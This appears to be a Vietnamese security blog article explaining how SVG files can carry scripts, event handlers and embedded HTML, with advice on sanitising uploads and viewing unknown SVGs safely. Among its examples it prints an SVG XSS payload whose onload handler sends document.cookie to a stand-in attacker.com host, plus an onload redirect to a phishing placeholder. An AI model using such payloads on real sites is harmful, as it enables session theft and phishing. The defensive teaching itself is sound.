Trong mắt nhiều người, file SVG chỉ là ảnh vector: nhẹ, sắc nét, phóng to không vỡ, rất lý tưởng cho logo, icon, banner web…
Nhưng có một sự thật khá shock: SVG không chỉ là ảnh.
SVG là file dạng văn bản (XML), và vì thế nó có thể chứa mã lệnh. Điều này biến SVG từ một file “hình ảnh” thành một vũ khí nếu rơi vào tay hacker.
SVG là gì? Tại sao nó không giống PNG/JPG?
Các định dạng như JPG, PNG, WEBP là ảnh dạng nhị phân (binary) – trình duyệt chỉ việc hiển thị, không có logic bên trong.
Còn SVG (Scalable Vector Graphics) thì khác hoàn toàn. Nó được viết bằng XML, nghĩa là bạn có thể mở file .svg bằng Notepad, VS Code và đọc được nội dung dạng text:
1
2
3
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<rect x="10" y="10" width="180" height="180" fill="blue"/>
</svg>
Nghe khá vô hại đúng không? Nhưng vì nó là XML/HTML, nên trình duyệt có thể:
- Hiểu tag
- Diễn giải thuộc tính
- Thậm chí chạy JavaScript nếu có nhúng vào
Và đó là điểm bắt đầu của mọi rắc rối.
File SVG có thể chứa những gì nguy hiểm?
SVG có thể chứa rất nhiều thứ… không còn “vô hại” nữa:
1. JavaScript bên trong SVG
SVG có thể nhúng thẳng thẻ <script>:
1
2
3
4
5
<svg xmlns="http://www.w3.org/2000/svg">
<script>
alert('Hello from inside SVG!');
</script>
</svg>
Nếu trình duyệt cho phép chạy script trong SVG → đoạn code này thực sự được thực thi.
Hacker có thể thay alert(...) bằng:
- Gửi dữ liệu lên server của hắn
- Redirect người dùng sang trang lừa đảo
- Thực hiện XSS trên website cho phép upload SVG
2. Thuộc tính sự kiện: onload, onclick, …
Không cần <script> cũng đủ nguy hiểm. Một ví dụ đơn giản:
1
2
3
<svg xmlns="http://www.w3.org/2000/svg"
onload="window.location.href='https://example-phishing-site.com'">
</svg>
Chỉ cần người dùng mở file SVG đó trong trình duyệt → tự động bị chuyển hướng sang một trang khác (có thể là trang phishing, trang nhúng mã độc, v.v.).
Hoặc:
1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" fill="red"
onclick="alert('You clicked me!')"/>
</svg>
Hacker có thể dùng onclick để gài thêm hành vi khi người dùng tưởng mình chỉ đang “click vào ảnh”.
3. foreignObject, iframe và nội dung HTML bên trong SVG
SVG còn có thể nhúng HTML thông qua foreignObject:
1
2
3
4
5
6
7
8
9
10
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<h1>Welcome</h1>
<script>
console.log('Running inside SVG foreignObject');
</script>
</body>
</foreignObject>
</svg>
Trong thực tế, kẻ tấn công có thể:
- Nhúng form giả
- Nhúng trang đăng nhập giả
- Nhúng các phần tử HTML “nguỵ trang” giống UI thật của web/app
Nếu kết hợp cùng CSS + JS → rất khó nhận ra đó là nội dung lừa đảo nằm trong một file ảnh.
4. Tấn công XSS thông qua upload SVG
Với các website cho phép upload SVG làm avatar, icon, hình minh họa, nếu không có bước kiểm tra (sanitize) cẩn thận, hacker có thể upload 1 file SVG có các <script>, khi admin hoặc user khác truy cập trang chứa ảnh đó, script trong SVG chạy trong context của website đó. Từ đó đánh cắp cookie, thực hiện hành động thay người dùng (CSRF style + XSS), chiếm session admin, hoặc inject thêm mã độc vào nội dung web
Một ví dụ SVG XSS cơ bản:
1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://attacker.com/log?c='+document.cookie)">
<text x="10" y="20">Hello</text>
</svg>
Nếu được hiển thị inline trên trang web và trình duyệt không chặn → document.cookie bị gửi ra ngoài.
File SVG có thể khiến bạn mất tài khoản không?
Câu trả lời là: có thể, trong một số điều kiện nhất định.
SVG không phải file thực thi kiểu .exe hay .dmg, nó không “tự cài phần mềm” vào máy. Nhưng nó có thể:
- Dẫn bạn đến trang giả mạo → bạn tự nhập mật khẩu → mất tài khoản
- Thực hiện XSS trên web mà bạn đăng nhập → đánh cắp session
- Nhúng nội dung giả đánh lừa bạn nhập thông tin nhạy cảm
Nguy hiểm nằm ở chỗ: người dùng nghĩ “chỉ là một file ảnh”, nên rất dễ chủ quan.
Khi nào file SVG tương đối an toàn?
Nếu một file SVG chỉ chứa các phần tử thuần đồ hoạ, ví dụ:
1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<circle cx="100" cy="100" r="80" fill="green" />
<text x="60" y="105" font-size="20" fill="white">SAFE</text>
</svg>
Không có:
<script>- Các thuộc tính như
onload,onclick,onmouseover… foreignObject,iframe- Đường dẫn lạ, request ra ngoài
→ thì khả năng cao là an toàn ở mức độ web thông thường.
Tuy nhiên, với môi trường production, đặc biệt là website cho phép người dùng upload SVG, tốt nhất vẫn nên:
- Lọc / xoá toàn bộ tag nguy hiểm
- Hoặc convert SVG → PNG trước khi hiển thị
Cách bảo vệ bản thân trước SVG độc
Đối với người dùng bình thường
- Không mở file SVG lạ trong trình duyệt, nhất là file được gửi qua chat, email, inbox từ người không quen.
- Nếu phải xem nội dung → mở bằng text editor (VS Code, Notepad++), xem coi bên trong có
<script>hay thuộc tính bất thường không. - Hạn chế click bừa vào các link hoặc file chỉ vì “thấy giống ảnh”.
Đối với chủ website
- Hạn chế hoặc chặn hẳn upload SVG nếu không cần thiết
- Nếu không có lý do thật sự cần dùng SVG user-upload, tốt nhất chỉ cho phép PNG/JPG/WEBP hoặc chuyển SVG sang PNG phía server trước khi lưu.
- Nếu buộc phải hỗ trợ SVG upload
- Luôn sanitize file SVG trước khi lưu hoặc hiển thị.
- Xóa toàn bộ:
<script>onload,onclick,onerror,onmouseover…<foreignObject>,<iframe>- Những tag lạ hoặc không cần thiết
- Không render SVG inline nếu không tin tưởng
- Nếu SVG đến từ user → hạn chế render bằng
<svg>...</svg>inline trong HTML. - Thay vào đó, hiển thị dưới dạng file độc lập (như
<img src="/path/to/file.svg">) và thiết lập headerContent-Type/Content-Security-Policyphù hợp để giảm rủi ro thực thi script.
- Nếu SVG đến từ user → hạn chế render bằng
SVG không xấu, nhưng rất dễ bị lợi dụng. SVG là một công cụ mạnh mẽ cho front-end, nhưng nếu thiếu ý thức bảo mật, nó có thể trở thành cánh cửa mở toang cho hacker tấn công bạn.
